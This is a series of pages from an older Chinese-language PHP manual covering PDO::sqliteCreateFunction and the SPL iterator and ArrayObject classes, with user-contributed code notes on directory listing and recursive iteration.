PDO::sqliteCreateFunction

(no version information, might be only in CVS)

PDO::sqliteCreateFunction -- Registers a User Defined Function for use in SQL statements

说明

bool PDO::sqliteCreateFunction ( string function_name, callback callback [, int num_args] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

PDO::sqliteCreateFunction() allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

参数

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

注: Callback functions should return a type understood by SQLite (i.e. scalar type).

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

注: 为兼容其它数据库（例如 MySQL），支持另两种替代的语法。推荐用第一种，dbhandle 参数作为函数的第一个参数。

范例

例子 1. PDO::sqliteCreateFunction() example

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

$db = new PDO('sqlite:sqlitedb');
$db->sqliteCreateFunction('md5rev', 'md5_and_reverse', 1);
$rows = $db->query('SELECT md5rev(filename) FROM files')->fetchAll();
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach() loop after you have queried for the data.

提示: You can use PDO::sqliteCreateFunction() and PDO::sqliteCreateAggregate() to override SQLite native SQL functions.

注: This method is not available with the SQLite2 driver. Use the old style sqlite API for that instead.

参见

PDO::sqliteCreateAggregate()
sqlite_create_function()
sqlite_create_aggregate()

add a note add a note User Contributed Notes
mtknight at dark-phantasy dot com
23-Jan-2006 06:13
This may be obvious to others, but I was stuck thinking this method wasn't yet implemented in release versions of PHP because I was trying to call this method statically from withing a class that extends PDO.

Since the method is only created once the SQLite driver is loaded in a given PDO instance, the only error feedback I was getting stated that sqliteCreateFunction did not exist, when in fact it did (after a fashion).
add a note add a note

后退 | 起点 | 前进
PDO::sqliteCreateAggregate | 上一级 | Standard PHP Library (SPL) Functions


Standard PHP Library (SPL) Functions

PHP 手册
后退 前进

CXL. Standard PHP Library (SPL) Functions

简介

SPL is a collection of interfaces and classes that are meant to solve standard problems.

提示: A more detailed documentation of SPL can be found here.

安装

This extension is available and compiled by default in PHP 5.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

RIT_LEAVES_ONLY (integer)

RIT_SELF_FIRST (integer)

RIT_CHILD_FIRST (integer)

CIT_CALL_TOSTRING (integer)

CIT_CATCH_GET_CHILD (integer)

目录
ArrayIterator::current -- Return current array entry
ArrayIterator::key -- Return current array key
ArrayIterator::next -- Move to next entry
ArrayIterator::rewind -- Rewind array back to the start
ArrayIterator::seek -- Seek to position
ArrayIterator::valid -- Check whether array contains more entries
ArrayObject::append -- Appends the value
ArrayObject::__construct -- Construct a new array object
ArrayObject::count -- Return the number of elements in the Iterator
ArrayObject::getIterator -- Create a new iterator from an ArrayObject instance
ArrayObject::offsetExists -- Returns whether the requested $index exists
ArrayObject::offsetGet -- Returns the value at the specified $index
ArrayObject::offsetSet -- Sets the value at the specified $index to $newval
ArrayObject::offsetUnset -- Unsets the value at the specified $index
CachingIterator::hasNext -- Check whether the inner iterator has a valid next element
CachingIterator::next -- Move the iterator forward
CachingIterator::rewind -- Rewind the iterator
CachingIterator::__toString -- Return the string representation of the current element
CachingIterator::valid -- Check whether the current element is valid
CachingRecursiveIterator::getChildren -- Return the inner iterator's children as a CachingRecursiveIterator
CachingRecursiveIterator::hasChildren -- Check whether the current element of the inner iterator has children
DirectoryIterator::__construct -- Constructs a new dir iterator from a path
DirectoryIterator::current -- Return this (needed for Iterator interface)
DirectoryIterator::getATime -- Get last access time of file
DirectoryIterator::getCTime -- Get inode modification time of file
DirectoryIterator::getChildren -- Returns an iterator for the current entry if it is a directory
DirectoryIterator::getFilename -- Return filename of current dir entry
DirectoryIterator::getGroup -- Get file group
DirectoryIterator::getInode -- Get file inode
DirectoryIterator::getMTime -- Get last modification time of file
DirectoryIterator::getOwner -- Get file owner
DirectoryIterator::getPath -- Return directory path
DirectoryIterator::getPathname -- Return path and filename of current dir entry
DirectoryIterator::getPerms -- Get file permissions
DirectoryIterator::getSize -- Get file size
DirectoryIterator::getType -- Get file type
DirectoryIterator::isDir -- Returns true if file is directory
DirectoryIterator::isDot -- Returns true if current entry is '.' or '..'
DirectoryIterator::isExecutable -- Returns true if file is executable
DirectoryIterator::isFile -- Returns true if file is a regular file
DirectoryIterator::isLink -- Returns true if file is symbolic link
DirectoryIterator::isReadable -- Returns true if file can be read
DirectoryIterator::isWritable -- Returns true if file can be written
DirectoryIterator::key -- Return current dir entry
DirectoryIterator::next -- Move to next entry
DirectoryIterator::rewind -- Rewind dir back to the start
DirectoryIterator::valid -- Check whether dir contains more entries
FilterIterator::current -- Get the current element value
FilterIterator::getInnerIterator -- Get the inner iterator
FilterIterator::key -- Get the current key
FilterIterator::next -- Move the iterator forward
FilterIterator::rewind -- Rewind the iterator
FilterIterator::valid -- Check whether the current element is valid
LimitIterator::getPosition -- Return the current position
LimitIterator::next -- Move the iterator forward
LimitIterator::rewind -- Rewind the iterator to the specified starting offset
LimitIterator::seek -- Seek to the given position
LimitIterator::valid -- Check whether the current element is valid
ParentIterator::getChildren -- Return the inner iterator's children contained in a ParentIterator
ParentIterator::hasChildren -- Check whether the inner iterator's current element has children
ParentIterator::next -- Move the iterator forward
ParentIterator::rewind -- Rewind the iterator
RecursiveDirectoryIterator::getChildren -- Returns an iterator for the current entry if it is a directory
RecursiveDirectoryIterator::hasChildren -- Returns whether current entry is a directory and not '.' or '..'
RecursiveDirectoryIterator::key -- Return path and filename of current dir entry
RecursiveDirectoryIterator::next -- Move to next entry
RecursiveDirectoryIterator::rewind -- Rewind dir back to the start
RecursiveIteratorIterator::current -- Access the current element value
RecursiveIteratorIterator::getDepth -- Get the current depth of the recursive iteration
RecursiveIteratorIterator::getSubIterator -- The current active sub iterator
RecursiveIteratorIterator::key -- Access the current key
RecursiveIteratorIterator::next -- Move forward to the next element
RecursiveIteratorIterator::rewind -- Rewind the iterator to the first element of the top level inner iterator
RecursiveIteratorIterator::valid -- Check whether the current position is valid
SimpleXMLIterator::current -- Return current SimpleXML entry
SimpleXMLIterator::getChildren -- Returns an iterator for the current entry if it is a SimpleXML object
SimpleXMLIterator::hasChildren -- Returns whether current entry is a SimpleXML object
SimpleXMLIterator::key -- Return current SimpleXML key
SimpleXMLIterator::next -- Move to next entry
SimpleXMLIterator::rewind -- Rewind SimpleXML back to the start
SimpleXMLIterator::valid -- Check whether SimpleXML contains more entries
class_implements -- Return the interfaces which are implemented by the given class
class_parents -- Return the parent classes of the given class
iterator_count -- Count the elements in an iterator
iterator_to_array -- Copy the iterator into an array
spl_classes -- Return available SPL classes

add a note add a note User Contributed Notes
kevin at oceania dot net
07-Mar-2006 04:21
The most comprehensive of all tutorials regarding SPL has been written with some help from Marcus and can be found here.
http://www.phpro.org/tutorials/Introduction-to-SPL.html

Enjoy
ville</.>witt</a>gmail</.>com
13-Jan-2006 04:37
These to funtions has excatly the same output, the only diff. is in which directory iterator they use. I hope someone out there can use it:
<?
function listfilesin1 ($dir = ".", $depth=0) {
   echo "Dir: ".$dir."<br/>";
   foreach(new DirectoryIterator($dir) as $file) {
       if (!$file->isDot()) {
           if ($file->isDir()) {
               $newdir = $file->getPathname();
               listfilesin1($newdir, $depth+1);
           } else {
               echo "($depth)".$file->getPathname() . "<br/>";
           }
       }
   }
}
function listfilesin2 ($dir = ".", $depth=0) {
   echo "Dir: ".$dir."<br/>";
   foreach(new RecursiveDirectoryIterator($dir) as $file) {
       if ($file->hasChildren(false)) {
           $newdir = $file->key();
           listfilesin2($newdir, $depth+1);
       } else {
           echo "($depth)".$file->key() . "<br/>";
       }
   }
}
listfilesin();
?>
jce at vt dot ilw dot agrl dot ethz dot ch
11-Nov-2005 03:51
You may access the ArrayObject as an array by using explicit typecasts:

class myArrayObject extends ArrayObject
{
   function getArray()
   {
       return (array) $this;
   }
}
adove at booyahnetworks dot com
11-Oct-2005 01:45
Something to note that, at least to me, seems pretty important and is not entirely clear in the documentation is the fact that the ArrayObject class supports get/set on uni-dimensional keys and get ONLY on *passed* multi-dimensional keys/paths (see source below). If you, like me, need to support array accesss overloading for multi-dimensional data, you will need to derive from ArrayObject and overide the ArrayAccess interface methods to "walk" passed data and convert embedded arrays to objects of some kind...

Reference Bug 34816 @ http://bugs.php.net/bug.php?id=34816.

Illustration of the issue:

$a = array(
   "test" => array(
       "one" => "dunno",
       "two" => array(
           "peekabo" => "do you see me?",
           "anyone" => array("there")
           )
       )
   );
$oArray = new ArrayObject($a);
var_dump($oArray);

$oArray["three"] = "No problems here.";

echo "\n\\test\\one == " . $oArray["test"]["one"] . "\n\n";

// NEITHER of the two below will work!
$oArray["test"]["one"] = "Yes I do!";
$oArray["test"]["yes"] = array(
   "hello" => "Goodbye!"
   );

var_dump($oArray);

---
Note from the extension author:
Actually there is RecursiveArrayObject and RecursiveArrayIterator to deal with recursive structures. However this does not always solve all multidimensional issues as expected.
helly at php dot net
25-Sep-2005 05:41
There is a RecursiveFilterIterator that makes the above code much easier. And then ther is ParentIterator thta is already a filtering recursive iterator that only accepts elements that have children, with a RecursiveDirectoryIterator as inner iterator you would obviously get only the directories. Further more it ensures that it creates the correct children. All in all you simply need to do this:

$it = RecursiveDirectoryIterator($path);
$it = ParentIterator($it);
$it = new RecursiveIteratorIteator($it);

foreach($it as $dir  => $o) { ... }
ericjr [!_ at _!] junioronline dot us
12-Jul-2005 07:57
In addition to "mastabog at hotmail dot com"`s note about the recursive directory iterator, his method skips symlinked directories, because getChildren() doesn't return true if the directory is symlinked.

To fix this, the script should always instanciate an innerInterator when dealing with symlinked directories like so:

<?
class DirectoriesOnlyIterator extends FilterIterator implements RecursiveIterator
{
   public function __construct ($path)
   {
       parent::__construct(new RecursiveDirectoryIterator($path));
   }

   public function accept()
   {
       return $this->getInnerIterator()->hasChildren();
   }

   public function hasChildren ()
   {
       return $this->hasChildren() || $this->isLink();
   }

   public function getChildren ()
   {
       return new self($this->getInnerIterator()->getPathname());
   }
}
just_somedood at yahoo dot com
28-Jun-2005 03:11
Just a follow up on dave at tunasoft's post.  To give his example of ArrayAccess use of foreach, it's easiest to implement IteratorAggregate and use the ArrayIterator object as the iterator, as below:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
   public $objectArray = Array();
   //**these are the required iterator functions
   function offsetExists($offset)
   {
       if(isset($this->objectArray[$offset]))  return TRUE;
       else return FALSE;
   }

   function & offsetGet($offset)
   {
       if ($this->offsetExists($offset))  return $this->objectArray[$offset];
       else return (false);
   }

   function offsetSet($offset, $value)
   {
       if ($offset)  $this->objectArray[$offset] = $value;
       else  $this->objectArray[] = $value;
   }

   function offsetUnset($offset)
   {
       unset ($this->objectArray[$offset]);
   }

   function & getIterator()
   {
       return new ArrayIterator($this->objectArray);
   }
   //**end required iterator functions

   public function doSomething()
   {
       echo "I'm doing something";
   }
}

?>

I LOVE the new SPL stuff in PHP.  The above allows you to have methods inside of your array, and when treated as an array the data components are returned, such as:

<?php
class Contact
{
   protected $name = NULL;

   public function set_name($name)
   {
       $this->name = $name;
   }

   public function get_name()
   {
       return ($this->name);
   }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This make code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
zaufi at sendmail dot ru
17-Apr-2005 10:24
I'v done with my PluginsManager... Sample code to use plugins may looks lije this:
<?php
require_once('lib/plugins-manager.inc.php');

// Load and use conctere plugin module
$p = new Plugin('test.class.php');
$test = $p->class_factory('test', 1, 2);
$test->foo();

// ... oneliner ;)
$p = $pm['test.class.php']->class_factory('test', 1, 2)->foo();

// Scan for plugable modules, construct an instance and call foo()
$pm = new PluginsManager('.');
foreach ($pm as $p)
{
   $p->class_factory('test', 1, 2)->foo();
}

?>

You may download php files at my tw.o page: http://tikiwiki.org/tiki-index.php?page=UserPagezaufi (see page attachments below)
<nospam>mike[ at ]emesdee.net</nospam>
23-Nov-2004 04:47
Excelent article here by Harry Fuecks...

http://www.sitepoint.com/print/php5-standard-library

and some auto generated documentation that could be of some use here...

http://www.php.net/~helly/php/ext/spl/index.html
mastabog at hotmail dot com
18-Aug-2004 05:41
Marcus Boerger has done a wonderful job developing the SPL. He also provided many examples using the SPL that can be found in the php5 sources. Just unpack the sources and in the ext/spl/examples directory you have some very nice ones. Thank you Marcus for all your efforts!

Now, a contribution of mine (i think it will be implemented later anyway). The RecursiveIteratorIterator could use a depth limit option. Very useful in many situations (e.g. show just the 1st subdirectory of a list of dirs). I'm sure this can be done in other ways. Here's my 2 cents:

<?php
/**
 * Limit Depth RecursiveIteratorIterator class
 *
 */
class LimitRecursiveIteratorIterator extends RecursiveIteratorIterator
{
   protected $depth_limit;

   /**
     * No depth limit by default
     *
   **/
   public function __construct (Iterator $it, $mode = RIT_SELF_FIRST, $depth_limit = -1)
   {
       parent::__construct($it, $mode);
       $this->depth_limit = $depth_limit;
   }

   /**
     * After the call to next() if depth is bigger than limit then
     * just skip all subIterators for that depth until depth end.
     *
   **/
   public function next ()
   {
       parent::next();

       if ($this->getDepth() == $this->depth_limit)
       {
           while ($this->getSubIterator()->valid())
               $this->getSubIterator()->next();
           parent::next();
       }
   }
}
?>

Then you can try this:

<?php
/**
 * Directories only filter iterator class
 *
 */
class DirectoriesOnlyIterator extends FilterIterator implements RecursiveIterator
{
   public function __construct ($path)
   {
       parent::__construct(new RecursiveDirectoryIterator($path));
   }

   public function accept()
   {
       return $this->getInnerIterator()->hasChildren();
   }

   public function hasChildren ()
   {
       return $this->getInnerIterator()->hasChildren();
   }

   public function getChildren ()
   {
       return new self($this->getInnerIterator()->getPathname());
   }
}

$it = new LimitRecursiveIteratorIterator(new DirectoriesOnlyIterator('c:'), RIT_SELF_FIRST, 2);

// list all dirs and 1st subdir of the c: drive (might take a while depending on how many you have)
foreach ($it as $key => $value)
{
   echo str_repeat('    ', $it->getDepth()) . "$value\n";
}

?>

This is considerably faster than using just the RecursiveIteratorIterator and ignoring yourself in the foreach loop the values for depth > limit (i.e. if($it->getDepth() > $limit) continue;). that is because the class will still parse everything up to the last depth level of every head node.

You can then play and display nice trees (might need a while() loop or the CachingRecursiveIterator to detect end nodes/leafs). There is already an example provided by Marcus in the ext/spl/examples dir i mentioned above.

Happy SPL-ing :),
Bogdan

P.S. I think some of the classes should call rewind() at instantiation time ... If you try to put a Caching* object in a foreach loop you will lose the first/last element. Instead, you should call rewind() and then go with a while($cit->valid()) loop and using current() and key() inside it.
dave at tunasoft dot com
10-Aug-2004 09:28
There are some interfaces used here that are not documented.  It took a bit to figure this one out, but you can create your own ArrayObject type class (that is, one who's objects can be access using the array [$index] syntax).

Your class must just implement ArrayAccess.  Which has four abstract methods you must define.  For example:

<?php
   class Collection Implements ArrayAccess{

       protected $array;

       function offsetExists($offset){

           if(isset($this->array[$offset])){
               return TRUE;
           }
           else{
               return FALSE;
           }

       }

       function offsetGet($offset){

           return $this->array[$offset];

       }

       function offsetSet($offset, $value){

           if($offset){
               $this->array[$offset] = $value;
           }
           else{
               $this->array[] = $value;
           }

       }

       function offsetUnset($offset){

       }

   }
?>

You'll have to jump through a couple more hoops to get foreach and print_r and the likes to behave properly.  But with just this, you can :

<?php
     $col = new Collction();
     $col[] = new ObjectX();
     $col[] = new ObjectX(123);

     echo $col[0]->name;
     // etc.
?>
phil &ampersat; flatnet.net
18-Apr-2004 06:11
Here's a sample implementation of the RecursiveDirectoryIterator class. It prints a simple treeview of a given directory:
<?php
function recurse($it) {
   echo '<ul>';
   for( ; $it->valid(); $it->next()) {
       if($it->isDir() && !$it->isDot()) {
           printf('<li class="dir">%s</li>', $it->current());
           if($it->hasChildren()) {
               $bleh = $it->getChildren();
               echo '<ul>' . recurse($bleh) . '</ul>';
           }
       } elseif($it->isFile()) {
           echo '<li class="file">'. $it->current() . ' (' . $it->getSize(). ' Bytes)</li>';
       }
   }
   echo '</ul>';
}

recurse(new RecursiveDirectoryIterator('D:/'));
?>
add a note add a note

后退 | 起点 | 前进
PDO::sqliteCreateFunction | 上一级 | ArrayIterator::current


ArrayIterator::current

(no version information, might be only in CVS)

ArrayIterator::current -- Return current array entry

Description

mixed ArrayIterator::current ( void )

This function returns the current array entry

例子 1. ArrayIterator::current() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

for($iterator = $arrayobject->getIterator();
    $iterator->valid();
    $iterator->next()) {

    echo $iterator->key() . ' => ' . $iterator->current() . "\n";
}
?>

上例将输出：

1 => one
2 => two
3 => three

add a note add a note User Contributed Notes
pcdinh at phpvietnam dot net
20-Mar-2006 09:47
ArrayIterator is only used for interating simple arrays of which the value part is not another array. You can test it with a more complex array like this:

$arr = array (
   \\\'Section 1\\\' => array (
       \\\'Cat 1\\\' => array (
           1 => array (
               1 => \\\'So 1\\\',
               2=> \\\'So 2\\\'
           ),
           2 => \\\'So 2\\\'
       ),

       \\\'Cat 2\\\' => array (
           \\\'Sub-cat 1\\\' => array (
               1 => \\\'So 1\\\',
               2=> \\\'So 2\\\'
           ),
           \\\'Sub-cat 2\\\' => \\\'So 2\\\'
       )
   ),

   \\\'Section 2\\\' => array (
       \\\'Cat 1\\\' => array (

       ),

       \\\'Cat 2\\\' => array (
           \\\'Sub-cat 1\\\' => array (
               1 => \\\'So 1\\\',
               2=> \\\'So 2\\\'
           ),
           \\\'Sub-cat 2\\\' => \\\'So 2\\\'
       )
   )
);

$arrayobject = new ArrayObject($arr);

for($iterator = $arrayobject->getIterator();
   $iterator->valid();
   $iterator->next()) {

   echo $iterator->key() . \\\' => \\\' . $iterator->current() . \\\"<br />\\\";
}

The above scriptlet will return

Section 1 => Array
Section 2 => Array

because it can not recursively iterate throught the array.

Do the following instead (in PHP5.1):

$arrayIterator = new RecursiveArrayIterator($arr);
$iterator = new RecursiveIteratorIterator($arrayIterator);
foreach ($iterator as $val) {
   echo $val.\\\'<br/>\\\';
}
add a note add a note

后退 | 起点 | 前进
Standard PHP Library (SPL) Functions | 上一级 | ArrayIterator::key


ArrayIterator::key

(no version information, might be only in CVS)

ArrayIterator::key -- Return current array key

Description

mixed ArrayIterator::key ( void )

This function returns the current array key

例子 1. ArrayIterator::key() example

<?php
$array = array('key' => 'value');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

echo $iterator->key(); //key
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayIterator::current | 上一级 | ArrayIterator::next


ArrayIterator::next

(no version information, might be only in CVS)

ArrayIterator::next -- Move to next entry

Description

void ArrayIterator::next ( void )

This function moves the iterator to the next entry.

例子 1. ArrayIterator::next() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

上例将输出：

0 => zero
1 => one

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayIterator::key | 上一级 | ArrayIterator::rewind


ArrayIterator::rewind

(no version information, might be only in CVS)

ArrayIterator::rewind -- Rewind array back to the start

Description

void ArrayIterator::rewind ( void )

This function rewinds the iterator to the beginning.

例子 1. ArrayIterator::rewind() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';
$arrayobject[] = 'two';

$iterator = $arrayobject->getIterator();

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the begining
echo $iterator->key(); //0
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayIterator::next | 上一级 | ArrayIterator::seek


ArrayIterator::seek

(no version information, might be only in CVS)

ArrayIterator::seek -- Seek to position

Description

void ArrayIterator::seek ( int position )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayIterator::rewind | 上一级 | ArrayIterator::valid


ArrayIterator::valid

(no version information, might be only in CVS)

ArrayIterator::valid -- Check whether array contains more entries

Description

bool ArrayIterator::valid ( void )

This function checks if the array contains any more entries.

例子 1. ArrayIterator::valid() example

<?php
$array = array('1' => 'one');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

var_dump($iterator->valid()); //bool(true)

$iterator->next(); // advance to the next item

//bool(false) because there is only one array element
var_dump($iterator->valid());
?>

add a note add a note User Contributed Notes
kaigillmann at gmxpro dot net
11-Nov-2005 05:55
Sometimes you need to search through the array.
Here is my object-orientated Version:

class MyArrayIterator extends ArrayIterator
{
   public function available($value)
   {
       if (in_array($value, (array)$this))
           return true;
       else
           return false;
   }

   public function search($value)
   {
       foreach((array)$this as $Key => $values)
       {
           if ($values == $value)
               return $Key;
       }
       return false;
   }
}
add a note add a note

后退 | 起点 | 前进
ArrayIterator::seek | 上一级 | ArrayObject::append


ArrayObject::append

(no version information, might be only in CVS)

ArrayObject::append -- Appends the value

Description

void ArrayObject::append ( mixed newval )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
pornel at despammed dot com
23-Nov-2005 06:38
PHP5.1RC3 seems to call offsetSet(NULL,$x) for [] operator instead of append().
add a note add a note

后退 | 起点 | 前进
ArrayIterator::valid | 上一级 | ArrayObject::__construct


ArrayObject::__construct

(no version information, might be only in CVS)

ArrayObject::__construct -- Construct a new array object

Description

ArrayObject ArrayObject::__construct ( mixed input )

This constructs a new array object. The input parameter accepts an array or another ArrayObject.

例子 1. ArrayObject::__construct() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

var_dump($arrayobject);
?>

上例将输出：

object(ArrayObject)#1 (3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::append | 上一级 | ArrayObject::count


ArrayObject::count

(no version information, might be only in CVS)

ArrayObject::count -- Return the number of elements in the Iterator

Description

int ArrayObject::count ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::__construct | 上一级 | ArrayObject::getIterator


ArrayObject::getIterator

(no version information, might be only in CVS)

ArrayObject::getIterator -- Create a new iterator from an ArrayObject instance

Description

ArrayIterator ArrayObject::getIterator ( void )

This function will return an iterator from an ArrayObject.

例子 1. ArrayObject::getIterator() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

The above example will output:

1 => one
2 => two
3 => three

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::count | 上一级 | ArrayObject::offsetExists


ArrayObject::offsetExists

(no version information, might be only in CVS)

ArrayObject::offsetExists -- Returns whether the requested $index exists

Description

bool ArrayObject::offsetExists ( mixed index )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::getIterator | 上一级 | ArrayObject::offsetGet


ArrayObject::offsetGet

(no version information, might be only in CVS)

ArrayObject::offsetGet -- Returns the value at the specified $index

Description

bool ArrayObject::offsetGet ( mixed index )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::offsetExists | 上一级 | ArrayObject::offsetSet


ArrayObject::offsetSet

(no version information, might be only in CVS)

ArrayObject::offsetSet -- Sets the value at the specified $index to $newval

Description

void ArrayObject::offsetSet ( mixed index, mixed newval )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::offsetGet | 上一级 | ArrayObject::offsetUnset


ArrayObject::offsetUnset

(no version information, might be only in CVS)

ArrayObject::offsetUnset -- Unsets the value at the specified $index

Description

void ArrayObject::offsetUnset ( mixed index )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
primaryspace at hotmail dot com
01-Sep-2005 03:06
Removes an index from the array object, reducing the number of elements by one and condensing the list.

<?php

$ao = new ArrayObject(array(1, 2, 3));

foreach($ao->getIterator() as $item) {
   if ($item == 2) {
       $ao->offsetUnset($ao->getIterator()->current());
   }
}

echo $ao->count(); // Prints 2

?>

---
Note from the extension author:

Try this:

<?php

$ao = new ArrayObject(array(1, 2, 3));

foreach($ao as $key=>$item) {  // getIterator() called automatically
   if ($item == 2) {
       $ao->offsetUnset($key);
   }
}

echo $ao->count(); // Prints 2

?>
add a note add a note

后退 | 起点 | 前进
ArrayObject::offsetSet | 上一级 | CachingIterator::hasNext


CachingIterator::hasNext

(no version information, might be only in CVS)

CachingIterator::hasNext -- Check whether the inner iterator has a valid next element

Description

bool CachingIterator::hasNext ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ArrayObject::offsetUnset | 上一级 | CachingIterator::next


CachingIterator::next

(no version information, might be only in CVS)

CachingIterator::next -- Move the iterator forward

Description

void CachingIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CachingIterator::hasNext | 上一级 | CachingIterator::rewind


CachingIterator::rewind

(no version information, might be only in CVS)

CachingIterator::rewind -- Rewind the iterator

Description

void CachingIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CachingIterator::next | 上一级 | CachingIterator::__toString


CachingIterator::__toString

(no version information, might be only in CVS)

CachingIterator::__toString -- Return the string representation of the current element

Description

string CachingIterator::__toString ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CachingIterator::rewind | 上一级 | CachingIterator::valid


CachingIterator::valid

(no version information, might be only in CVS)

CachingIterator::valid -- Check whether the current element is valid

Description

bool CachingIterator::valid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CachingIterator::__toString | 上一级 | CachingRecursiveIterator::getChildren


CachingRecursiveIterator::getChildren

(no version information, might be only in CVS)

CachingRecursiveIterator::getChildren -- Return the inner iterator's children as a CachingRecursiveIterator

Description

CachingRecursiveIterator CachingRecursiveIterator::getChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CachingIterator::valid | 上一级 | CachingRecursiveIterator::hasChildren


CachingRecursiveIterator::hasChildren

(no version information, might be only in CVS)

CachingRecursiveIterator::hasChildren -- Check whether the current element of the inner iterator has children

Description

bolean CachingRecursiveIterator::hasChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CachingRecursiveIterator::getChildren | 上一级 | DirectoryIterator::__construct


DirectoryIterator::__construct

(no version information, might be only in CVS)

DirectoryIterator::__construct -- Constructs a new dir iterator from a path

Description

DirectoryIterator DirectoryIterator::__construct ( string path )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
fernandobassani at gmail dot com
26-Jan-2006 02:36
We can now replace the old fashioned way of listing the content from a directory!

the old way:
<?php
if ($handle = opendir('/home/fernando/temp')) {
   while (false !== ($file = readdir($handle))) {
       if ($file != "." && $file != "..") {
           print "$file <br />";
       }
   }
   closedir($handle);
}
?>

the new way:
<?php
$dir = new DirectoryIterator('/home/fernando/temp');
while($dir->valid()) {
   if(!$dir->isDot()) {
       print $dir->current()."<br />";
   }
   $dir->next();
}
?>
jakob dot buchgraber at gmail dot com
04-Jan-2006 11:36
I wrote a function for finding all files in the current and in subdirectories.

The Code:
<?php
function getFiles(&$rdi,$depth=0) {

   if (!is_object($rdi))
       return;

   for ($rdi->rewind();$rdi->valid();$rdi->next()) {

       if ($rdi->isDot())
           continue;

       if ($rdi->isDir() || $rdi->isFile()) {

           for ($i = 0; $i<=$depth;++$i)
               echo '&nbsp;&nbsp;&nbsp;';

           echo $rdi->current().'<br />';

           if ($rdi->hasChildren())
               getFiles($rdi->getChildren(),1+$depth);
       }
   }
}

getFiles(new RecursiveDirectoryIterator('.'));
?>
add a note add a note

后退 | 起点 | 前进
CachingRecursiveIterator::hasChildren | 上一级 | DirectoryIterator::current


DirectoryIterator::current

(no version information, might be only in CVS)

DirectoryIterator::current -- Return this (needed for Iterator interface)

Description

DirectoryIterator DirectoryIterator::current ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::__construct | 上一级 | DirectoryIterator::getATime


DirectoryIterator::getATime

(no version information, might be only in CVS)

DirectoryIterator::getATime -- Get last access time of file

Description

int DirectoryIterator::getATime ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
